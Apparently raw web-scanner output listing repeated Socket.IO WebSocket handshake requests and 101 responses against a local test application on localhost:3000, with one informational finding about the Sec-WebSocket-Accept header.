GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Iuo7K8Z5vme3E2eAAAAw HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vQF3Kecba55xqGwvT7HoVA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: idQkc6pkHRfFte6u+2rQMtuHaPc=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=-4DUkcQ-C2OYk5e3AAAh HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: FCona3d7O47BE5jqjUCnSg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ALX7xChq+24aOI1K+Zm79yAg6JM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=D6BsQ9YEEIAHi7klAAAT HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: DsCCHssUcCRiBFv6QEBt4g== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rlFAYkfRxrdYJImOwYnTmNOrsuQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=m418o1AFhRVb78O_AAAV HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: Agb+lrfHtCGNBb2AJc5NmQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: x8iNHU+sNfi4CGf/xvdwQ+o7BzI=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=bt2Ikw1-G_o9CwZ2AAAJ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: dUrOAHDO24+4sLUZddjUng== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 3ANmdoM3fRiCCUWwy5hZpBxXgJU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9DHdvynFxeJObZNxAAAX HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: uWAparTK5BpXTX21zkt2HA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: U/tv2opJSz0vbUf7/TltxpsO+WE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fYYG5c4DvuNhzeJ6AAAl HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: kgJP0KCCQUDaKPe9/RHOaQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: WyKiDLMQpD0ytO6EZMAQgT9Rwdk=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=DvVsB3FDFqNS79iAAAAn HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: R8SEr/FF6uBKkM4SZmVM5w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: Aerjt5CKbvFZWzEP+1jvKYJS4ls=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Nmwg28JjqJGdEbC7AAAZ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vJ3zItdn31G0W5PaXgXq2g== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: KtySTylQfM0SOnxSCp13DPyQ+to=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fjx5JNc7YYp6Uz8sAAAL HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 2SsrT1oT9TFTRYbc2QFKTA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: uGutAgTlLFH3wUL8WqAnSJb810Y=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=1tzVy-pWLhJO9ZiiAAA7 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: AKWKLchEcdckUnSFInHMsw== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: aeNrA4ihdCk1ENIQiWZtgkSDXvo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pqp6FTtQJcpMAuqlAAAq HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: +7NhbVxjaq9gYTOtn4k12w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rXynPFmb5vOiTzBAV6w5oEcO5Fo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=SkGCFnuDPQMFQopNAAAN HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 8QLgQEGTlbTRleALPfCxDA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: P6t4it3qaMyBkVuIQST2zHPgsDM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=p55OCFEko0Ag2tScAAAb HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: RWFVEnG30N3rUn4k1sLKaA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rFD4ub7Hh/JuPsqt3VGXNgNkehE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=91ypgKpaYbU1Z7eeAAAp HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vf5QZ3OYQX7oGEDpvuVP6w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ibw/N18rPeO7Y4ihRsRtxHVXPiw=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=MBdmC-X0aTWvOgmzAAAz HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: YaBE4/Y/MLFHxFvoQHTgOQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 6CUF+7VlEynGmBbsTsGrs1qoNWM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=j9kTC6AVDBP8H_zVAAA0 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: r6pyWf30TJzHQOCoI+pIVw== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: tVxljvIm7TjqgAgfqoIc3T1fOoU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RzT3PKFkAaqFeDdTAAA9 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zwVEEO68XCvWXNht8jLLzg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: sYt0tF3t4gFN2NXW++QPAlC+w+g=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=LkPBvi-I7c9UKj9PAAAt HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 6+MZNMNe/h8uG6AwMoU3iQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 5aMEMdA8OTC8ZL94DirL9Y80eoY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RbpHQ0D7zwoVCfwNAAA_ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vxdtGspHY9epqZh3kLrOpQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: NZV+wCmbjVbgXhllWuaOXRnKNaQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Zay-C8DLcBhixppLAAAe HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 9idrT16MC9JJTCoyD2O63Q== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rRcATFLilnEkmTY34Dquzz3zK8A=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9FjsA81Qn8h-CVhyAAAd HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: oCb3WA8867KkhdEFJSvgCg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BnrYR3+A7F5LFA4/q1Qyqx63lRY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=5f_rxp2p0KU-WMd9AAAF HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 02KOa9ZtpAc+WUvdZU98pg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: SF7fuDUA8FBJEyvtH6h2UfKg1As=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=IDEJ4u5V47bd944UAAAQ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: y2F2U4LQiAiECKmkXsNqGg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BSYGP3XeTWl+bJZbu13FxsLOfa4=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Wrf5OJ_3ct9WbgczAAAP HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: NIjjhu4Aw+BIXv8MCqZUQQ== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fSrUCecZxW0ctuLK0IFJRu4WHf8=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fXSznTaMw0tCiVjrAAA3 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: fGmIPiKisASjgoxQd6FMKQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: hgenOxTN8nwOWXXK8vkDq9YaHbo=\r\n' b''
The remote web server sent 1 HTTP responses with the uncommon response header "Sec-WebSocket-Accept", one of the received header values is "SF7fuDUA8FBJEyvtH6h2UfKg1As=". The first ten URLs which sent the uncommon header are: - http://localhost:3000/socket.io/
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Re-nNfDJbx5LKvZQAAAH HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zqdDko8eSrLeSopXWPHH0Q== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fuF5n/ckeW93Cap62MrhG3fHI30=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pDMz-bpZa6-AeUmVAAAv HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: BLfNV5isvl+bpnpRz8a27A== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: jNkhHf5bBbTeePgsNQ/NhUb/fz0=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=opOJWnBBJLkwPe4mAAAi HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: VrVFugV2Aukrh0efkG1X3w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 4+nlkIAOcqhNDM/o0JmtzX60w18=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pNAlYv-EdMBG-2k7AAA5 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: v+qt4TSElgYX8p432o+/eg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: IBF4BnSo7Fc+gmXgPDEW9UtYuck=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Iuo7K8Z5vme3E2eAAAAw HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vQF3Kecba55xqGwvT7HoVA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: idQkc6pkHRfFte6u+2rQMtuHaPc=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=-4DUkcQ-C2OYk5e3AAAh HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: FCona3d7O47BE5jqjUCnSg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ALX7xChq+24aOI1K+Zm79yAg6JM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=D6BsQ9YEEIAHi7klAAAT HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: DsCCHssUcCRiBFv6QEBt4g== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rlFAYkfRxrdYJImOwYnTmNOrsuQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=m418o1AFhRVb78O_AAAV HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: Agb+lrfHtCGNBb2AJc5NmQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
